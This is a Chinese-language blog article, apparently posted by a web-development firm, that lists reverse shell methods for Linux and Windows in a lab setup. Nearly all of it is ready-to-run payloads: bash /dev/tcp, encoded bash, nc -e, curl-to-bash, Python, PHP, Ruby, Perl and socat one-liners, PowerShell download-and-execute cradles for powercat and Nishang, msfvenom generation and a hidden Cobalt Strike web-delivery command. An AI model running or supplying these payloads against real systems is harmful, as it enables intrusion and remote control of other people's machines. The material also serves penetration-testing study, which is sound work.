十年網(wǎng)站開發(fā)經(jīng)驗 + 多家企業(yè)客戶 + 靠譜的建站團隊
量身定制 + 運營維護+專業(yè)推廣+無憂售后,網(wǎng)站問題一站解決
這篇文章主要介紹反彈shell的方法有哪些,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
創(chuàng)新互聯(lián)公司是專業(yè)的湘潭縣網(wǎng)站建設公司,湘潭縣接單;提供成都網(wǎng)站制作、網(wǎng)站建設、外貿(mào)網(wǎng)站建設,網(wǎng)頁設計,網(wǎng)站設計,建網(wǎng)站,PHP網(wǎng)站建設等專業(yè)做網(wǎng)站服務;采用PHP框架,可快速的進行湘潭縣網(wǎng)站開發(fā)網(wǎng)頁制作和功能擴展;專業(yè)做搜索引擎喜愛的網(wǎng)站,專業(yè)的做網(wǎng)站團隊,希望更多企業(yè)前來合作!
什么是反彈shell(reverse shell)?
就是控制端監(jiān)聽某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網(wǎng)絡概念的客戶端與服務端的角色反轉。
為什么需要反彈shell?
反彈shell通常用于被控端因防火墻受限、權限不足、端口被占用等情形。在滲透過程中,往往因為端口限制而無法直連目標機器,此時需要通過反彈shell來獲取一個交互式shell,以便繼續(xù)深入。以下詳細介紹Windows和Linux系統(tǒng)下反彈shell的幾種方式。
實驗環(huán)境:
Win10 192.168.2.102 NC監(jiān)聽
Kali 192.168.2.103 自帶工具
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

在特殊情況可以使用base64編碼執(zhí)行bash反彈shell
編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
在kali中執(zhí)行會解析成編碼前的bash命令
nc -e /bin/bash 192.168.2.102 4444
-e后面跟的參數(shù)代表的是在創(chuàng)建連接后執(zhí)行的程序,這里代表在連接到遠程后可以在遠程執(zhí)行一個本地shell(/bin/bash),也就是反彈一個shell給遠程,可以看到遠程已經(jīng)成功反彈到了shell,并且可以執(zhí)行命令。

Kali開啟apache服務,把bash命令寫入html文件,只要文本包含bash一句話即可。
curl 192.168.2.103/bash.html|bash


whois -h 192.168.2.102 -p 4444 `pwd` //反彈的shell只能執(zhí)行后面帶的命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php反彈shell和python的方式差不多
php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
①用IEX下載遠程PS1腳本回來權限繞過執(zhí)行
使用powershell執(zhí)行IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd

② powercat下載地址:https://github.com/besimorhino/powercat //下載到本地執(zhí)行
powercat為Powershell版的Netcat,實際上是一個powershell的函數(shù),使用方法類似Netcat


服務端反彈:nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe


Nishang下載地址:https://github.com/samratashok/nishang
Nishang是一個基于PowerShell的攻擊框架,整合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell
將nishang下載到攻擊者本地,在目標機使用powershell執(zhí)行以下命令
IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

攻擊機監(jiān)聽 nc -lvup 4444
利用上面下載的還是放在攻擊機上在目標機中powershell執(zhí)行以下命令
IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444

我們直接可以使用 msfvenom -l 結合關鍵字過濾(如cmd/windows/reverse),找出我們需要的各類反彈一句話payload的路徑信息。
msfvenom -l payloads | grep 'cmd/windows/reverse'

依照前面查找出的命令生成一句話payload路徑,我們使用如下的命令生成反彈一句話,然后復制粘貼到靶機上運行即可。
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444

靶機執(zhí)行使用powershell執(zhí)行payload

攻擊機返回shell

Cobalt strike的Scripted Web Delivery模塊,可通過bitsadmin、powershell、python、regsvR32等進行反彈shell,類似metasploit的web_delivery模塊
①運行服務端
./teamserver 192.168.2.103 123 #123為連接密碼

②運行客戶端:
Windows運行cobaltstrike.jar #用戶名隨便輸入 密碼123

③開啟監(jiān)聽:
點擊Cobalt Strike->Listeners
payload可選擇windows/beacon_http/reverse_http
說明:其中windows/beacon 是Cobalt Strike自帶的模塊,包括DNS,http,https,smb四種方式的監(jiān)聽器,windows/foreign 為外部監(jiān)聽器,即msf或者Armitage的監(jiān)聽器。

④生成powershell payload:
點擊Attack -> Web Drive-by -> Scripted Web Delivery
Type選擇 powershell

生成的payload:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.103:8887/a'))"
⑤生成代碼已經(jīng)給出了,在windows上執(zhí)行


以上是“反彈shell的方法有哪些”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道!